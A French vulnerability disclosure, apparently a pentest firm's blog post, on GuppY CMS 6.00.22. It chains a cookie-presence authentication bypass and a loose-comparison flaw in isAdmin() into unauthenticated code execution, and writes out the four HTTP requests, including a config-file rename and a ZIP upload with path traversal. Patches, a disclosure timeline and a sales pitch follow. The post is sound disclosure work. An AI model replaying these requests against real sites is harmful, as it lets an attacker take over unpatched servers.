Deux bugs dans GuppY 6.00.22 s’enchaînent pour donner à un attaquant non authentifié une exécution de code arbitraire en quatre requêtes HTTP.
Contexte
GuppY est un CMS PHP “no-database” développé en France depuis 2004. Toute la configuration, les articles, les utilisateurs : c’est du fichier plat (.dtb, .inc). Toujours largement déployé sur des sites associatifs et institutionnels (mairies, syndicats, clubs sportifs…), il tourne typiquement derrière Apache + mod_php ou PHP-FPM.
Version analysée : 6.00.22, la release courante au moment de la rédaction de cet article.
J’ai monté en local un lab Docker de la dernière version de GuppY CMS afin de pouvoir reproduire les attaques en environnement maîtrisé et y dérouler les exploitations.
Contournement d’authentification
L’endpoint : “admin/editors/upload/upload.php” est un éditeur de fichiers qui expose un set complet d’opérations sur le filesystem : upload, création/suppression de dossiers, renommage, suppression de fichiers. C’est une fonction admin qui est censée vérifier la validité du cookie admin, mais cette fonctionnalité vérifie uniquement si le cookie est présent, sans en vérifier la validité :
editors/upload/upload.php
//PROTECTION CONTRE LES PETITS CURIEUX
include CHEMIN.'admin/editors/action.php';
...
$admcookie = isset($_COOKIE[ADMP_COOKIE]) ? $_COOKIE[ADMP_COOKIE] : '';
if (empty($admcookie)) {
die('Une erreur d'identification est survenue. ...');
}
//FIN PROTECTIO
La seule vérification est la présence du cookie, pas sa valeur.
Envoyer Cookie: GuppYAdmPref6=AAA (n’importe quelle chaîne non-vide) passe la “protection”.
À partir de là, on a accès à toutes les fonctionnalités de gestion de fichiers et on peut maintenant accéder au bug suivant.

Contournement d’authentification, encore
La fonction isAdmin() dans inc/func_boxes.php est maintenant victime du loose comparaison:
inc/func_boxes.php
function isAdmin($pseudo) {
global $serviz;
if (empty($pseudo) && trim($serviz[31]) == '' && trim($serviz[176]) == ''
&& is_file(CHEMIN.'install/install.php')) return TRUE;
if ($pseudo == $serviz[31] || $pseudo == $serviz[176]) return TRUE;
if ($serviz[42] == 'on') { /* lecture admins.dtb */ }
return FALSE;
}
$serviz est le tableau global de configuration, chargé par include 'data/config/config.inc'. Si on supprime ou renomme config.inc, ce tableau devient simplement non défini.
La variable $serviz[31] sur un tableau non defini renvoie NULL. Et la seconde comparaison utilise ==, “une loose comparaison”, ce qui amène à renvoyer TRUE.
Tout visiteur avec le cookie GuppYAdmPref6=AAA, dès lors que config.inc n’est plus chargeable devient admin et peut accéder aux fonctionnalités admin
Pour la suite de l’exploit, je renomme donc le fichier /data/config/config.inc en config-back.inc. Je conserve ainsi une sauvegarde plutôt que de le supprimer, ce qui permettra de restaurer la cible par la suite.

Installation d’un “plugin”
La fonctionnalité légitime “Install plugin/skin/pack” de GuppY est servie par admin/inc/install.inc.
Aucune validation d’extension, aucune restriction du chemin de destination. La fonctionnalité est censée permettre l’installation de plugins, du code.
On s’en sert donc pour installer, ou plutôt uploader le payload php souhaité.
L’enchaînement complet
Quatre requêtes HTTP suffisent, sans aucune authentification valide, à passer d’un accès anonyme à l’exécution de code arbitraire sur le serveur.
Étape 1 - Contournement d’authentification et neutralisation de config.inc. On renomme le fichier de configuration : le tableau $serviz devient alors indéfini, et isAdmin() renvoie TRUE pour tout le monde.
GET /admin/editors/upload/upload.php?rep=data/config&foldname=config.inc&fnewname=config-back HTTP/1.1
Cookie: GuppYAdmPref6=AAA
data/config/config.inc est renommé en config-back.inc. À partir d’ici, $serviz est indéfini sur toute requête et isAdmin('') retourne TRUE.
Étape 2 - Upload du ZIP malveillant. On téléverse un pack contenant le payload.
POST /admin/admin.php?lng=en&pg=install HTTP/1.1
Cookie: GuppYAdmPref6=AAA
Content-Type: multipart/form-data; ...
step=2
filezip=@payload.zip
Le ZIP contient deux fichiers. Un manifeste, pour passer le contrôle de format du pack :
[infos]
author=XXX
version=1.0
Et le code à exécuter, test.php :
<?php phpinfo(); ?>
Étape 3 - Extraction du ZIP. L’archive est décompressée ; test.php atterrit à la racine du site.
POST /admin/admin.php?lng=en&pg=install HTTP/1.1
Cookie: GuppYAdmPref6=AAA
Content-Type: multipart/form-data; ...
step=3
zipname=../data/tmp/payload.zip
Étape 4 - Déclenchement. Le payload est désormais accessible et exécuté par le serveur.
GET /test.php HTTP/1.1
test.php s’exécute à la racine du site : l’attaquant a obtenu une exécution de code arbitraire, sans jamais s’être authentifié.
Proof of Concept
Pour démontrer l’impact, j’ai développé un PoC en Python qui automatise la chaîne complète d’exploitation et reproduit chaque étape nécessaire à la compromission. Le script enchaîne les vulnérabilités découvertes jusqu’à l’obtention d’un reverse shell sur le serveur cible, sans authentification préalable.

Remédiation
Deux correctifs, un par vulnérabilité de la chaîne.
Ils ont depuis été intégrés par la GuppY Team dans la version 6.00.23, publiée le 7 juillet 2026 (voir la chronologie en fin d’article) : les recommandations ci-dessous décrivent la correction qui a été apportée.
1. Vérifier une vraie session dans admin/editors/upload/upload.php. Remplacer le contrôle actuel, la simple présence du cookie GuppYAdmPref6 qui ne sert qu’à stocker des préférences d’interface, par une véritable vérification d’authentification administrateur via isAdmin($userprefs[1]), comme le fait déjà admin.php.
// AVANT (vulnérable) - la présence du cookie suffit
if (empty($_COOKIE[ADMP_COOKIE])) { setcookie(ADMP_COOKIE, $admdata); }
$admcookie = $_COOKIE[ADMP_COOKIE] ?? '';
if (empty($admcookie)) die("Erreur d'identification...");
// APRÈS (cohérent avec admin.php) - vérification d'une session admin
if (empty($userprefs[1]) || (!isAdmin($userprefs[1]) && !FileDBExist(CHEMIN.'admin/'.REDACREP.$userprefs[1].INCEXT))) {
http_response_code(401);
die('Authentification requise.');
}
2. Comparaison stricte dans isAdmin() (data/inc/func_boxes.php). Refuser explicitement l’accès quand la configuration n’est pas chargée ou quand le pseudo est vide, et remplacer les loose comparisons == par === : '' === NULL vaut FALSE, ce qui referme le contournement.
// AVANT (vulnérable) - == compare NULL de façon permissive
function isAdmin($pseudo) {
global $serviz;
if (empty($pseudo) && trim($serviz[31]) == '' && trim($serviz[176]) == '' && is_file(CHEMIN.'install/install.php')) return TRUE;
if ($pseudo == $serviz[31] || $pseudo == $serviz[176]) return TRUE;
if ($serviz[42] == 'on') {
static $admins = null;
if (!isset($admins)) { $admins = ReadDbFields(ADMINS); }
foreach ($admins as $admin) {
if ((!empty($pseudo) && !empty($admin[0])) && ($pseudo == $admin[0])) return TRUE;
}
}
return FALSE;
}
// APRÈS (corrigé) - comparaisons strictes : '' === NULL vaut FALSE
function isAdmin($pseudo) {
global $serviz;
if (empty($pseudo) && trim($serviz[31]) === '' && trim($serviz[176]) === '' && is_file(CHEMIN.'install/install.php')) return TRUE;
if ($pseudo === $serviz[31] || $pseudo === $serviz[176]) return TRUE;
if ($serviz[42] === 'on') {
static $admins = null;
if (!isset($admins)) { $admins = ReadDbFields(ADMINS); }
foreach ($admins as $admin) {
if ((!empty($pseudo) && !empty($admin[0])) && ($pseudo === $admin[0])) return TRUE;
}
}
return FALSE;
}
Mots de la fin
Deux bugs, un contrôle d’authentification qui se contente de vérifier la présence d’un cookie et une faille de type confusion, se combinent ici en un RCE pré-auth complet.
L’enseignement principal : le comparateur == en PHP reste un piège, notamment parce que == NULL renvoie TRUE. Toute fonction d’autorisation qui compare avec == une chaîne fournie par l’utilisateur à une valeur de configuration potentiellement nulle mérite un audit immédiat. Plus largement, toute comparaison qui gouverne un accès devrait utiliser ===.
Recommandations pour les développeurs PHP :
- Privilégier hash_equals() pour les comparaisons sensibles (tokens, secrets).
- À défaut, utiliser systématiquement === dès qu’une comparaison conditionne un accès.
- Auditer chaque fonctionnalité d’administration qui se base sur la simple présence d’un cookie plutôt que sur une véritable validation de session.
Chronologie
| Date | Événement |
|---|---|
| 2026-05-06 | Découverte des vulnérabilités sur GuppY 6.00.22 |
| 2026-05-11 | Développement du PoC complet |
| 2026-05-12 | Signalement à la GuppY Team |
| 2026-07-07 | Publication de la version corrigée 6.00.23 |
| 2026-11-17 | Publication de l’article |
Ces techniques s’appliquent
à votre périmètre ?
Un échange de 30 min avec nos pentesters certifiés pour cadrer votre exposition. Sans engagement.